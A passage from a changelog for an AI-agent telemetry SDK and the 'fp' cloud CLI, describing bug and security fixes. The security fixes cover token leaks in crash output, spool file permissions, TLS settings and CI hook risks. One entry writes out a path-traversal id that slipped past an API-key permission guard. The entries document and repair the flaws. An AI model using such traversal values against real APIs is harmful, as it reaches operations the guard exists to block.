save.** `flush_now()` is the first thing the recipe in `SKILL.md`, `docs/reference/python-sdk.mdx` and a passing test calls, and `_flush_lock` was a plain `threading.Lock`. Signal handlers run on the MAIN thread, so the handler re-entered `_flush` whenever the main thread was already inside it and blocked forever on a lock it already held — reachable three ordinary ways: a second `SIGTERM` while the first handler is still flushing (`docker stop` then an impatient `kill`), an app that calls `flush_now()` itself, and a `SIGTERM` landing during the atexit flush, which runs on the same thread. Once wedged the process could not be signalled out of it, because every further `SIGTERM` re-entered the deadlocked handler: it never exited, never flushed, and was `SIGKILL`ed after the grace period. Reproduced with a faulthandler dump showing the `handler / flush_now / _flush` cycle ten frames deep. `RLock`, not a non-blocking fast path — a `flush_now()` that silently declines to flush defeats the recipe it exists to serve — and re-entering the write is safe because the outer call has already drained its batch into a local list. Verified: 394 nested handler entries now return, and the batch is written. (#702) - -- **The SDK's dict-key scrub was applied to every value and no key, so a filesystem path lost the whole event.** `_sanitize` rebuilds a payload to make a lone surrogate inert, and passed `str` keys straight through — while this module's own docstring names `os.fsdecode` and a filesystem path as the realistic source, and a path is naturally a KEY (`{path: contents}`). The key reached the wire as a JSON lone-surrogate escape, ingest answered `200 {"accepted":0,"skipped":1}`, and the uploader now parks that batch and poisons it after three retries — so one bad key loses every event batched with it, not just its own. Separately, the scan that triggers the rebuild matched `\ud`, which is also most of the Hangul block (`json.dumps("한")` is `"\ud55c"`), and the rebuild is lossy past `_MAX_SANITIZE_DEPTH`: a payload the strict encoder handled perfectly was silently truncated the moment it also contained a Korean character, while the identical ASCII payload was not. Both fixed, both negative-controlled. (#702) - -- **`configure(base_dir="~/.agenteye")` — a migration bridge this SDK prescribes — spooled into a literal `~` directory under the process's cwd.** `Path("~/…")` is relative; nothing on the machine watches the result, so 100% of the telemetry was lost silently, which is the exact "an unread spool is indistinguishable from an idle one" failure the prose around that docstring exists to prevent. Also: batches were written `0644` inside `0755` directories under the ordinary umask, carrying goals, prompt text, tool arguments and tool output — readable by every other local user on a shared host, while the sibling `fp-cloud-cli` already writes its credential `0600` inside `0700`. Now `0600`/`0700`, which costs no delivery because the daemon reads them as the same user. (#702) - -- **The adapters' per-event budget did not bound an event.** `payload()` re-truncated an oversized value using `remaining` as `_truncate`'s per-STRING limit, which changes nothing for a structure whose leaves each already fit — so the budget only ever bounded flat strings. Measured: one `fw_*` field emitted **8,010,237 bytes against a 131,072 budget**, then drove `remaining` negative so every later key was omitted, including `fw_run_id` and `fw_node` — the two fields that say which run the payload belongs to. `_truncate` takes the budget through the recursion now and spends it as it emits, fields are spent smallest-first so metadata cannot be starved by one large value, and the same case emits 131,327 bytes. `fw_fields()` also stopped pre-truncating at the import-time default, which had left `capture_limit=32768` raising the ceiling for the declared parameters and leaving every `fw_*` extra pinned at 8192. And `fw_truncated` — the only machine-readable "this event lost data" signal — was set when a small metadata extra was cut and NOT when the prompt or the completion was, on essentially every real tool loop. (#702) - -- **LlamaIndex's `capture_messages` gated one payload of nine.** The model's completion, every tool call's arguments, every tool's return value, every workflow-step input and output, the retrieval query, the agent's goal and the run's final answer all reached the spool regardless — while prompts did stop, so the setting looked like it had worked. That is the switch `llamaindex.mdx` presents as the control for regulated data, and `collector.redact` explicitly does not apply to SDK events, so nothing was behind it. Every payload routes through one gate now. The same adapter capped every captured value at 512 characters — a quarter of the 2048 this release had just rejected as too small for LangChain, on the RAG-first framework, with no option to raise it; it is `_core.FIELD_LIMIT` and a `capture_limit` option now. LangChain's own `capture_content` missed the interrupt prompt, the human's free-text answer and retriever document sources. (#702) - -- **A failure in an intermediate LCEL run reached no surface at all.** `reported_error` was set for every non-root run carrying an exception, including the ones the branch above deliberately emitted nothing for (a `RunnableSequence` step, a prompt template, an output parser, a `langsmith:hidden` node) — so the root was told a span owned the failure when none did, and an ordinary `prompt | model | parser` chain whose parser raised produced only `agent_start` + `agent_end(failed)`: no error row, no `error_type`, no traceback. The sibling test passed because it used a bare root lambda, the one shape with no intermediate run. Also in the same adapter: `GeneratorExit` and `asyncio.CancelledError` were not treated as control flow, so breaking out of `.stream()` or a disconnected `StreamingResponse` recorded a crash; and `_is_continuation` read any bare `None` as a LangGraph resume, so an unrelated runnable invoked with no argument during a pause was folded into the paused run and answered the human's interrupt with `response=None`. (#702) - -- **Pydantic AI counted one failure twice.** `_end_run` emitted a standalone `error` for an exception `tool_result.error` / `model_response.error` had already carried, so `sessionSummary.errorCount` read 2 where all three sibling adapters read 1 — error rates were not comparable across frameworks and Pydantic AI runs looked twice as failure-prone. And a failed `install()` left the adapter fully patched and never recorded in `_ACTIVE`, so `active()` denied it existed and `uninstrument()` could not undo it; it rolls back now. `FAILPROOFAI_SDK_STRICT_INTEGRATIONS=1`, the flag `_compat.py` calls the supported way to make compat problems loud, was caught by `instrument()` and turned into a silent skip — giving neither the raise it promises nor the "Instrumenting anyway" the warning text promises. (#702) - -- **The SDK sdist shipped `tests/` without `tests/conftest.py`, so running it wrote into the user's real spool.** setuptools' default heuristic takes top-level `test*.py` and nothing else, and that conftest is the isolation layer — applied at IMPORT rather than as a fixture, because the atexit flush fires after the last fixture is gone. Measured: 20,001 synthetic events into a real `~/.failproofai/custom-agents/events` from `test_durability.py` alone, where a running daemon uploads them to a real dashboard as genuine agent activity. A `MANIFEST.in` grafts the whole tree; the rebuilt sdist writes 0. `fp-cloud-cli` had the same gap, where it merely made the suite unrunnable. (#702) - -- **`fp` reported success on writes that never reached the API.** Any status under 400 passed, and a missing or unparseable body became `{}` — so a `POST`/`PUT`/`PATCH`/`DELETE` that was 301'd away (the classic `http://`→`https://` front-door redirect on a saved `--base-url`) or answered by a proxy with an HTML 200 exited 0 with a green tick. `fp issues ack i1` printed "✓ acknowledged issue i1" against a request that never arrived; `deploy_policies` returned an empty Deployment, which reads as "the machine now runs nothing" rather than "nothing happened". Reads were already protected — only the mutating half was affected, and it is the half where a false success matters. (#702) - -- **Any crash printed the session token on typer < 0.24, inside the declared range.** `pretty_exceptions_show_locals` defaults to True from 0.13.0 to 0.23.x, and the frames of any escaped exception hold `ClientContext(token=…, api_key=…)` and `CliConfig(session_token=…)` — so an ordinary unhandled server-shape error dumped the credential into terminal scrollback, CI job logs and pasted bug reports, bypassing the 0600 file, the atomic rename, the symlink refusal and the allowlisted telemetry payload this package otherwise maintains. Set explicitly, because `uv.lock` happening to pin 0.27.1 was the only reason CI never saw it. Separately, a saved `--insecure` was stored per MACHINE and applied to every base URL, so one login against a self-signed dev box left verification off for the next `fp login` against production — the request that carries the OTP and receives the session token — and `--quiet` suppressed the only warning. Now bound to the origin it was granted for, and the warning ignores `--quiet`. (#702) - -- **An id containing `..` escaped the API-key family guard.** All 45 `f"/api/…/{id}"` sites interpolate raw and httpx then resolves the result as a URL, so `disable_key(key_ctx, "../enforcement/policies/x/enable")` classified as the mechanical `keys` family — the family is computed from the literal prefix before httpx normalises dot segments away — and issued a POST to an operator-write family `_V1_NO_EQUIVALENT` exists to make unreachable. In session mode the same shapes read the wrong record silently or injected a query parameter, and an empty id from an unset CI variable addressed the collection. Validated once in `_path`, the choke point both modes go through. (#702) - -- **`--all` truncated at `--limit` and then asserted it had not.** The four paginating commands hard-coded `next_cursor = None`, and `--limit` defaults to 50 — so `fp --json events --session-id X --all`, the line the docs give for reading a whole session, made one request, returned 50 rows of however many exist, and emitted `"next_cursor": null`, which positively states the feed is exhausted. The CLI had the live cursor in hand and discarded it. (#702) - -- **`fp users update --remove incidents:ack` revoked nothing and exited 0.** `normalize_permissions` — the function that expands the retired spellings `unknown_permissions` deliberately accepts — had zero call sites, so the raw token reached the diff, was subtracted from a set that does not contain it, and took the no-op branch without ever calling the server. The command's own help gives that flag as its worked example. Expansion now happens at the parse boundary every caller goes through. (#702) - -- **`fp policies test` reported denials the daemon would never produce.** The runner executed every registered policy unconditionally; the engine filters on each policy's `match` first. A `match: {events: ["PostToolUse"], toolNames: ["Write"]}` policy printed a red DENY under the default `--event PreToolUse` and `--expect deny` passed in CI, while the machine allowed the command. The same filter is applied now, and a filtered policy is reported `skipped` with its reason rather than silently omitted. (#702) - -- **Every `fp` telemetry event was silently dropped.** `capture()` used the posthog-3 positional signature against the pinned posthog 7, whose `capture(self, event, **kwargs)` is keyword-only after `event`; the `TypeError` was swallowed three times over — by posthog's own `@no_throw`, by the CRITICAL log level `_ensure_client` sets, and by this module's `except Exception: pass`. Dead today because `TELEMETRY_DISABLED` is True, which is exactly why it went unnoticed. The test fake carried the posthog-3 signature too, so the 380-line privacy suite was validating against a stand-in the real client no longer matched. (#702) - -- **A timezone-less server timestamp killed a whole render.** `_relative_age` and `_age_compact` subtracted a naive datetime from an aware one — an uncaught `TypeError`, exit 1, no output — across ~20 call sites in errors, alerts, issues, audits, findings and fleet, while two sibling helpers in the same file already normalised. `_parse_iso` now always returns aware UTC. (#702) - -- **`last_ok_ts` was stamped on batches the server stored nothing of.** `DeliveryHealth` documents it as "the last upload the server **accepted** … the loudest thing in this file", and `record_ack` stored it unconditionally on every parsed 200 — so on the systematically-malformed machine the whole feature exists for, it advanced on every upload and every retry while `accepted` stayed 0 forever. Relatedly, `skipped` and `batches_fully_skipped` re-counted the same events on every retry now that a fully-skipped batch is parked rather than deleted: one 5-event batch reported 15 skipped across 3 batches after two passes, so an operator sizing the incident from `health.json` tripled it. (#702) - -- **The SDK publish gate ran zero adapter tests.** Its Test step duplicates the `failproofai-sdk` unit job and not `failproofai-sdk-integrations`, installs no framework extras and does not set `AGENTEYE_TESTS_REQUIRE_FRAMEWORKS` — so all four adapter modules skipped at import and it printed "815 passed, 6 skipped", green, having tested nothing of `failproofai_sdk/integrations/`, which ships in the base wheel. The same skip-instead-of-fail hole the step already closes for the spool contract, on the one path that produces an unrecallable artifact. Both publish guards also gained the three assertions that could not fail: applying the trigger/dry-run/verify-step mutations left all 25 tests green. And both skill-sync workflows ran a script fetched from the mirror repo one step before `git commit` exports the PAT — `git commit` runs `.git/hooks/pre-commit`, which a `--depth=1` clone lacks and that script could create. (#702) - -- **Several guards could not fail, in the packages whose point is that guards fail.** `test_packaging` compared a dash-normalized name against an underscore constant, so the assertion was true for every possible input; `test_zero_dependencies`'s import-side-effect check parsed one file for a node type that file does not contain, so its set was always empty; `test_wire_format` never set `request_id`, the one field `_schema.py` singles out as frozen because the dedup key hashes its position; the SDK's copy of the customer tripwire lacked the self-scan its fp-cloud-cli twin got in `0c0ff4cc`; and `fp help`'s hint column was never checked against the command tree, which is how it came to advertise `fp issues comment`, a command that does not exist. Each is negative-controlled now. (#702) - -- **`agent()` linked spans across sessions, and leaked one per abandoned async generator.** An explicit `session_id=` that differs from the ambient one is the documented way to start a new run, and the child still inherited `parent_id` from the enclosing scope — so the ordinary long-lived-server shape emitted every per-request root with a parent that has no `agent_start` in its session. Separately, a scope spanning a `yield` binds in the consumer's context and is exited from asyncio's finaliser task, so the reset was swallowed with a debug line and the closed span stayed on the consumer's stack forever; the cross-session fix removes the wire-visible half, the rest now warns once and is documented, since `ContextVar.set` in the finaliser's task cannot reach the context the value lives in. And the eight promoted STRING columns had no validation while the three numeric ones and the two identity fields each had their own — `tool_name=getattr(tool, "name", None)` reached the wire as an explicit `null`, accepted at 200 OK and invisible to every filter on `tool_name`. (#702) - -- **The tripwire that keeps a customer's name out of the public package named that customer, in cleartext, in its own docstring — and shipped it.** `fp-cloud-cli/tests/test_no_customer_identifiers.py` holds customer identifiers as SHA-256 digests precisely because, as its own header says, "a deny-list that spells out the name it exists to keep out of a public wheel publishes that name just as surely as the fixture did — and this file ships in the sdist." Line 16 then spelled it out anyway, in prose, three lines above the digest. It passed green for the same reason nobody noticed: `_scannable()` excludes this file from its own scan, an exemption that exists so the `FORBIDDEN_OWN` literals do not trip the scan on themselves, and which therefore blinds the scan to everything else in the file too. `tests/` is in the sdist, so publishing to PyPI would have published the name; the wheel excludes tests and was clean. The prose now describes the shape of the leak without naming it, and a new `test_this_file_does_not_name_the_customers_it_denies` runs the hashed scan over this file specifically — the one check the exemption cannot make — reporting `path:line` and the class of identifier, never the identifier, because that CI log is public. Negative-controlled by restoring the original line and confirming the new test is what fails. (#702) -- Stop the local audit report claiming it would have blocked things it only detected. `totalHits` folds in `detectorRows` (source `audit-detector`) — replay-only findings with no builtin behind them, whose own fix column renders `audit-only` and which the slipping-through section already labels "caught by audit, not blocked" — yet the TL;DR line users paste publicly said the agent did N things "`failproofai` would have stopped". "Caught" is true of both halves; "would have stopped" was true of one. The same footer also named six integrations when `runAuditInner` defaults to all twelve. (#731) - -## 1.0.1-beta.2 — 2026-08-17 - -### Features - -- **`collector-health.json` reports delivery, not only capture.** The file answered "is each source producing events" and could not answer "is anything arriving". A source's job ends when it writes a batch into the spool — the POST, the server's verdict and the parking of what would not go all happen afterwards — and the SDK's batches have no source entry at all, because `failproofai-sdk` writes them into the spool from the user's own process. So a machine shipping nothing but SDK events wrote an empty, perfectly healthy-looking `sources` map whether ingest was storing every event or discarding all of them. Ingest answers `200` with `{"accepted":N,"skipped":M}` and the daemon deletes the batch either way, so one systematically malformed field discards everything the machine produced while every layer reports success — this release fixes two such fields — and the only trace was an ERROR line in the daemon's log, which on a real install is journald and nobody reads it until they already suspect a problem. The new `delivery` section carries counters the `Uploader` already kept: `accepted`, `skipped`, `batches_fully_skipped` and the timestamp of the last upload the server accepted. It is omitted rather than zeroed when there is no uploader, because all-zero counters and "this daemon has no credential" are different facts, and it reads through to the `Uploader` rather than copying at attach time, since that object outlives a supervised task restart and a snapshot would freeze the file at "nothing has happened yet" — which reads exactly like a healthy idle machine. (#730) - -- **The Python SDK gains native support for LangChain/LangGraph, CrewAI, LlamaIndex and Pydantic AI, on a real identity layer.** It was a capture surface you operated by hand: 15 emit methods, each requiring `session_id=` and `agent_id=`, and nothing propagating them — `SKILL.md` stated the absence of an ambient session as a deliberate contract, and `references/integration.md` shipped a ~60-line contextvars wrapper *as markdown for customers to paste into their own codebase*. `session()`, `agent()` and `tool_call()` bind identity on contextvars instead, under both `with` and `async with`, with `current()` and a `propagate()` that carries identity into a thread (contextvars do not). `session_id`/`agent_id` are now optional on all 15 methods, resolving from scope — existing call sites are untouched, which is why the golden wire-format bytes are unchanged. `instrument()` then wires the four frameworks, each a translation table over one shared `RunTracker` emitting only the existing 15 event types, so nothing fans out to the server, collector, CLI or stored schema. Measured against hand-written instrumentation on one identical task: 4 events and 4 types by hand, 14 events and 8 types from the adapter — the manual version reported one model request/response pair for a run that made two LLM calls, and zero tool events for a run whose point was calling a tool. That is the ceiling of the approach rather than carelessness: `graph.invoke()` is one call from outside, and the loop, the dispatch, the second round-trip and the per-node timings all happen inside it. AutoGen is deliberately absent — `autogen-core` last shipped 2025-09-30 and the live product is AG2, whose middleware has no global auto-instrument hook. Zero dependencies survives and its test got stronger: adapters resolve by string through `importlib` at call time, the source scan is scoped with a per-file allowlist, and a fresh interpreter now proves no framework reaches `sys.modules` on `import failproofai_sdk`. Verified live end to end for all four frameworks against a real model — every one of the 15 event types reaching the events store with promoted columns and `parent_id` nesting intact. Ported from FailproofAI/agenteye#503 and reconciled against the eleven SDK fixes made since that branch was cut. (#730) - -- **`request_id` on `model_request` and `model_response`.** The dashboard pairs model events on it, but no SDK method accepted one and no doc mentioned it — so every integration written to our own documentation emitted unpairable model events, `demo-agent/mock_agent.py` among them. Optional, and appended last in the ordered field list so an event omitting it serialises byte-for-byte as before: `test_wire_format.py` freezes those bytes, and ingest's dedup key hashes the canonical payload, so a reordering would stop retried batches collapsing and surface as duplicate rows rather than as an error. (#730) - -- Give the canary box three images instead of one, and bake the commit into each. `failproofai-canary`, `failproofai-translate` and `failproofai-docs-audit` replace the single shared toolchain image, and each carries the checkout, its dependencies and its build products — the canary also carries a compiled `failproofaid`, which it used to cross-compile in a sibling rust container on every run. What happened at 02:00 and 11:00 in front of nobody — clone, fetch, checkout, `bun install`, two `bun build`s, a `cargo build` — happens in CI now, once per commit, where a failure is a red build rather than a night with no report. Installing the twelve vendor CLIs @latest deliberately stays at run time: that is the measurement, not setup. **Only the canary carries a docker client**, and only its cron line mounts the socket — the other two spawn nothing, and an image without the client cannot be talked into reaching the host daemon. That split is the reason for three images rather than one, and it is asserted rather than described. (#705) - -- Publish those images on **every** push to main, with no path filter — the exact inverse of the old rule, for the same reason it existed. Job scripts used to reach the box through a run-time clone, so only the baked layer needed rebuilding; with the tree baked in, any commit changes what the images should contain and a path filter would leave the box running last week's code with nothing saying so. The staleness that remains is answered rather than prevented: `FP_SHA` and `BUILT_AT` are baked in, the entrypoint turns them into an age, and a stale image says so at the top of its run **and in every Slack report it produces**. An unreadable build date counts as stale, because a job that cannot say how old its own code is should not be claiming freshness. The matrix is `fail-fast: false`, so one broken Dockerfile leaves the other two published rather than freezing all three. (#705) - -- Stop writing credentials into the checkout, which the images now bake. `ci-entrypoint.sh` decoded the vendor OAuth tarballs into `$REPO/tokens/` and assembled the gateway env-file at `$REPO/canary.env`; both move to a run-scoped directory. That was harmless while no image had a repo-root build context and stopped being harmless the moment one did — a cleanup trap that does not run is the normal case (a killed run, a `docker kill`), and `install.sh --build-local` builds from the operator's own working tree, which on the box is exactly where those files land. Three layers now hold the line: the paths move, a repo-root `.dockerignore` names them anyway (including the beta-leg variants `tokens-beta/` and `canary-beta.env`, which `.gitignore` never covered), and each Dockerfile **refuses to build** if one arrives — so a rename on the writing side fails a build instead of publishing a credential to a public registry. (#705) - -- **The SDK's default spool root is now `~/.failproofai/custom-agents`, not `~/.agenteye`.** It could always have been, through an `AGENTEYE_SPOOL_TO_FAILPROOFAI` opt-in — except that opt-in *also* required the directory to already exist, and nothing created it: not the SDK, not `failproofaid`, not either installer. `customAgentsEventsDir` in `fp-home.ts` was exported and called from nowhere, and the daemon computes the path only to watch it. So the branch never fired once, and every shipped SDK wrote to the legacy root regardless of what the operator set. The feature was documented, tested and unreachable. `failproofaid` has always watched **both** roots (`spool_dirs` in `crates/fpai-collect/src/config.rs`), so on a host running it this changes which directory the files land in and nothing else — and batches already spooled under `~/.agenteye/events` are not orphaned, they stay put and are still collected while that directory simply stops growing. The one host that breaks is one running the older `agenteye-collector`, which resolves `$AGENTEYE_HOME` or `~/.agenteye` and nothing else; it sets `AGENTEYE_HOME=~/.agenteye`, which is the documented escape hatch precisely because both daemons honour it and it therefore cannot itself desynchronise them. `AGENTEYE_SPOOL_TO_FAILPROOFAI` is retired rather than kept as a no-op — anyone who exported it was asking for this and now has it — and a test asserts no module reads it any more, checked over `os.environ` lookups rather than source text, because the frozen-strings guard was passing on a mention of the name in a comment while the variable itself was being deleted. (#702) - -- Open-source the telemetry SDK as `failproofai-sdk` (imported as `failproofai_sdk`), moved out of the private AgentEye monorepo into a new `sdk/python/`. It is the other end of the pipe from `fp-cloud-cli`: the agent calls this to record what it did, the CLI reads that back. `sdk/` is a directory rather than a flat `failproofai-sdk/` because more languages go beside `python/`, not inside it. The Python import name and the PyPI distribution name were the only things that changed at the point of the move — `AGENTEYE_HOME`, `AGENTEYE_ENVIRONMENT`, every event type and every payload key are a contract with `failproofaid` and the older `agenteye-collector`, and renaming any of them from the SDK's side would write events into a directory nothing watches, with no error on either side. (The default spool root did move later in this same release; see the entry above, which also explains why `AGENTEYE_HOME` is the escape hatch that keeps this contract intact.) `tests/test_server_contract.py` freezes those literals so a later rename sweep cannot take them. Zero runtime dependencies is now enforced rather than assumed: the source is checked for non-stdlib imports, the manifest for a `dependencies` key, and CI installs the built wheel with `--no-deps` and reads real events back off disk. Ships a matrixed CI job across all five Python versions `requires-python` advertises, a Trusted-Publishing PyPI workflow, a skill mirror, a `uv` dependabot ecosystem and the lockfile in the osv-scanner gate. (#702) - -- Open-source the Cloud CLI as `fp-cloud-cli` (command `fp`), moved out of the private AgentEye monorepo into `fp-cloud-cli/`. The distribution and the command differ because `fp` was taken on PyPI, and neither is the `failproofai` CLI this repo already builds — that one enforces inside the agent loop, this one reads back what the loop did. It is a hard cut, matching the collector binary's rename: no `agenteye` alias, no retired env-var fallback, no config migration, so scripts calling `agenteye ...` break on upgrade and users run `fp login` once. Env vars move to `FP_*` and the config to `~/.fp/cli.json`. The `X-AgentEye-Org` / `X-AgentEye-Client` headers and the `ae_session` cookie are deliberately unchanged — they are a contract with the dashboard and the Rust server, and renaming them from one side would misroute tenants with a 200 rather than an error. Brings the first Python into the repo: a matrixed `fp-cloud-cli` CI job, a Trusted-Publishing PyPI workflow, a `uv` dependabot ecosystem and the lockfile in the osv-scanner gate. Also fixes a README that documented a command renamed long ago and a default it claimed did not exist, a test fixture that ran the suite with TLS verification disabled, and a repo-root probe that would have resolved to the wrong repo here. (#702) - -- Announce every stable release in Discord, from the notes on the GitHub Release. `publish.yml` gains an `announce` job that runs LAST — after the registry check and all four `verify-install` legs, because a channel told to install something that 404s is worse than a channel told nothing — and posts one embed to the webhook in `DISCORD_RELEASE_WEBHOOK`, pinging the role in `DISCORD_RELEASE_ROLE_ID`. **The GitHub Release body is the source of record and `CHANGELOG.md` the fallback**: stable releases are cut from the Releases page, and the notes written there are what the maintainer decided this release says — announcing from the changelog instead would publish a DIFFERENT summary than the one on the release page, in the channel where more people read it. The fallback covers an empty body and a `workflow_dispatch`, which has no release event at all; read from the changelog, a stable version also collects its whole `-beta.*` line, since somebody moving 1.0.0 → 1.0.1 on `latest` receives all of it and the stable section deliberately does not restate it. Entries collapse to their first sentence — the headline every entry in this file already opens with — and both `(#123)` and GitHub's `by @someone in ` become the same `#123` link. Three things are load-bearing and none are obvious: the mention goes in `content` because **Discord does not resolve mentions inside an embed** and would render `<@&id>` as raw text pinging nobody; `allowed_mentions: {parse: [], roles: [id]}` is what stops an `@everyone` in somebody's release notes reaching the whole server; and the description is fitted by dropping WHOLE groups rather than truncating, because the first version cut the trailing `[Full changelog]` link off a 1.0.0-sized release and ended on `Stop sending anything about a…` — a notification showing a third of a release and pointing nowhere. Stable only, and both halves of that are required: a prerelease version is a beta nobody asked to be pinged about, and a stable version at a dist-tag other than `latest` would carry an install line resolving to something else. Preflight refuses a stable release with notes in neither source, which is the one point in the pipeline where failing costs nothing. Nothing depends on the `announce` job, so a dead webhook can never hold back a published package. (#721) - -### Fixes - -- **The Supply Chain gate blocked on a vulnerability with no fix and no path to us.** `sdk/python/uv.lock` locks every optional extra so CI can exercise the four framework adapters, which pulls `crewai` and, transitively, `chromadb` 1.1.1 — GHSA-f4j7-r4q5-qw2c, CVSS 9.3. OSV reports it as unfixable (`0 vulnerabilities can be fixed`, empty FIXED VERSION), so there is nothing to bump to, and it is not reachable from anything this package ships: the built wheel declares **no unconditional dependencies at all** — every `Requires-Dist` is gated behind an extra, and CI installs it with `--no-deps` — so `pip install failproofai-sdk` never brings it. It arrives only through `failproofai-sdk[crewai]`, which installs CrewAI, and anyone installing CrewAI has `chromadb` from CrewAI whether or not we exist. Ignored in `osv-scanner.toml` with a reason and a 2026-11-20 review date, the convention that file already documents — under **both** identifiers, because the scanner matches its `id` against the record's PRIMARY id, which for a PyPI advisory is the `PYSEC-` one. Two things had to be true for the entry to bite, and each failed silently on its own: the scanner resolves a config **per scanned file**, relative to that file, so the root `osv-scanner.toml` governed `bun.lock` and `Cargo.lock` and reached neither `uv.lock` — the ignore loaded, filtered nothing, and was reported as an "unused ignore" while the gate stayed red. `--config=osv-scanner.toml` is now passed explicitly, which makes one allow-list authoritative for every lockfile in the scan. The lockfile deliberately stays in the scan, so a *fixable* finding in it still blocks. (#702) - -- **`collector.hooks = false` silently stopped shipping the Python SDK's events.** `CollectorConfig::is_enabled()` gated the entire collector on `sessions || hooks`, and `collector_tasks()` returns early when it is false — so on a machine with a credential and both capture sources off, the daemon started no spool watcher and no sweeper, printed nothing at all, and every batch `failproofai-sdk` wrote into `custom-agents/events/` sat there forever. Those two settings gate the daemon's OWN sources (CLI session transcripts, hook activity) and each is checked again at the point its source is registered, so they were never what delivery should key off: the spool also carries events the user's own instrumented agents produced, and the watcher is the only thing that ships them. `hooks` defaults to true, which is why this stayed hidden — it takes turning hooks off, the one choice available to somebody who wants their instrumented agents shipped and nothing else, and then there is no error on either side and an unread spool looks exactly like an idle one. `is_enabled()` is now `ingest.is_some()`; an unconfigured machine still starts no thread and no runtime. Verified live: with `{"sessions":false,"hooks":false}` the daemon now logs `collector started tasks=3`, and a batch written before it came up was delivered by the sweeper. The reload end-to-end test that toggled `hooks` as a stand-in for disconnecting now toggles the **credential**, which is what `--disconnect` actually removes (`clearIngestCredential`) — a stronger test of the scenario it exists for — and a companion asserts the replacement behaviour: both capture sources off still starts the spool watcher, and still starts no hook source. (#730) - -- **`instrument()` called before the framework import said nothing and recorded nothing.** With no argument it instruments every framework already in `sys.modules`, so calling it above the `import langchain` line — the natural place to put a setup call, and where a "call this first" instruction lands people — finds nothing, installs nothing and returns `()`. The process then runs to completion with the SDK imported, the adapter "installed" and not one event emitted, raising nothing. The message naming the exact fix was already there, at `logger.debug`, which no default logging config displays: the single mistake that costs a user all of their telemetry was the one the SDK was silent about. It is a `logger.warning` now, and it fires only when somebody explicitly asked for instrumentation and got none. (#730) - -- **`SKILL.md` told readers `atexit` runs on `SIGTERM`. It does not.** The paragraph opened by calling `SIGTERM` "not exotic — it is every rolling deploy", every `docker stop`, every Kubernetes eviction, and then reassured them that "Python's default handler exits, so `atexit` *does* run". CPython installs no handler for `SIGTERM`: `signal.getsignal(SIGTERM)` is `SIG_DFL`, the OS terminates the process where it stands, and the atexit flush never runs. So the readers most likely to act on that paragraph — anyone deploying into a container — were told they were covered on the one exit path that drops the queue. Measured: a child queueing 20 events and sending itself `SIGTERM` writes **zero**. The text now says what happens, and ships the handler that fixes it (`flush_now()` then `sys.exit(128 + signum)`, which unwinds so an open `agent()` scope still emits its `agent_end`). Two tests execute both halves in a subprocess — the bare case must keep losing everything, so the day the SDK grows a handler of its own the recipe is flagged as obsolete rather than left standing. (#730) - -- **A comma in `environment` silently discarded every event the process emitted.** Ingest splits that field on commas to build its filter facets, so it skips any line containing one — the whole line, not the field — and answers `200 {"accepted":0,"skipped":N}`. The daemon deletes the delivered batch, and the run is simply not in the dashboard: no exception in the agent, nothing in its output, and an empty session list that looks exactly like an agent nobody ran. Measured against the running stack: `AGENTEYE_ENVIRONMENT="prod,eu"` — a wholly reasonable thing to type — produced `accepted:0, skipped:1`. `failproofaid` has always refused a comma in `collector.environment` for precisely this reason; the SDK writes the same field into every event and did not check. `configure(environment=...)` now raises naming the fix. The env var warns and falls back to `dev` rather than raising, because it is read lazily inside `to_dict()` on whatever event happens to be next: raising there would take the caller's agent down from a line of telemetry, and landing under a visibly wrong environment beats vanishing. (#730) - -- **A bare `llm.invoke()` recorded no model call at all.** A LangChain run with no parent is the session's root, and the adapter turned every root into an `agent_start`/`agent_end` pair — including a root whose own `run_type` is `chat_model`, which is what a direct `ChatOpenAI(...).invoke(...)` outside any graph produces. So that call emitted an agent span and **nothing else**: no `model_request`, no `model_response`, and therefore no model name, no input or output tokens and no latency, while the trace still looked populated and nothing raised. It is not an edge case — a classifier, a summariser and a one-shot rewrite are all shaped exactly like this, and a supervisor that delegates to graphs and then writes its own summary hits it on the summary. `_start_root` now also dispatches the leaf starter for a leaf-typed root and `_on_end` closes the leaf before the agent, so the pair lands inside its own span rather than after it — the dashboard closes the span at `agent_end` and anything later is attributed to nothing. Purely additive: a chain-typed root is untouched, and five tests cover it, four of which fail if the fix is reverted. (#730) - -- **Two LangChain runs that merely overlapped under one session id were read as an interrupt/resume, and one of them was silently deleted.** `_start_root` reused an open agent whenever the session already had one, because that is what a LangGraph resume looks like — but "the agent is still open" is equally true of two roots that simply run at the same time, and langchain-core opens one root run **per input** for `.batch()`. Any two requests carrying the same conversation id through the documented `failproofai_sdk_session_id` key do the same. The second root then got no `agent_start` at all, its work was relabelled with the first root's `agent_id`, the first root to finish closed the shared agent, and everything the other root emitted after that resolved to nothing and was dropped — a real model call, with its tokens and its latency, gone behind one `WARNING` nobody reads. Measured end to end against the running stack: two concurrent chains on one session landed **5 rows instead of 8**, and a `.batch()` of three landed 8 instead of 12, each with a single agent span. The discriminator is `open_pauses`: `_end_root` skips `agent_end` exactly when it is non-empty, which is the only way an agent outlives its root. Both directions are covered — the overlap case and a real interrupt/resume, which must still be one span. (#730) - -- **A failing top-level `tool.invoke()` or `llm.invoke()` counted as two failures.** `_on_end` returns straight after `_end_root` for a root run, so the line that marks a failure as owned by the span below it never ran for a root that was also a leaf. The exception was reported twice — once as `tool_result.error` / `model_response.error` and again as a standalone `error` event — and the server derives `is_error` from both, so `sessionSummary.errorCount` double-counted it while the identical failure one Runnable deeper counted once. Confirmed in ClickHouse: the same `ValueError`, raised at the top level and one level down, produced three error rows and two. The root-leaf branch now marks the failure as owned, exactly as the nested path does; a failure that no span below reported still gets its one standalone `error`, or it reaches no surface at all. (#730) - -- **`uninstrument()` went on recording forever when the trace env var was exported by somebody else.** A configure hook cannot be deregistered, so teardown is "make the hook produce nothing" — and neither lever did. Clearing the ContextVar only reaches contexts derived from the caller's, and the env var is unset only when `install()` was the one that set it, since it must not clobber an environment it did not write. With `FAILPROOFAI_SDK_TRACE_LANGCHAIN=1` exported by a Dockerfile or a CI job, `_configure` kept constructing a live zero-arg tracer per callback manager and a fully torn-down adapter recorded every event of every later run. Verified: a run issued **after** `uninstrument()` landed a complete four-event session in ClickHouse. There is now a module-level kill switch checked at the two entry points that gate everything else, so the promise holds however the hook was reached — and it is a switch, not a fuse: re-instrumenting works. (#730) - -- **`tool_result.output` was a Python repr of the envelope, and a tool that failed without raising was recorded as a success.** A tool handed the LLM's `ToolCall` dict — what `bind_tools` produces and what every modern tool loop passes — returns a `ToolMessage`, which has no JSON shape, so the single most-read field in a tool loop rendered as `ToolMessage(content='37000000', name='lookup_population', tool_call_id=…)` instead of `37000000`. The second half is worse: a `ToolMessage` carries `status="error"` when the 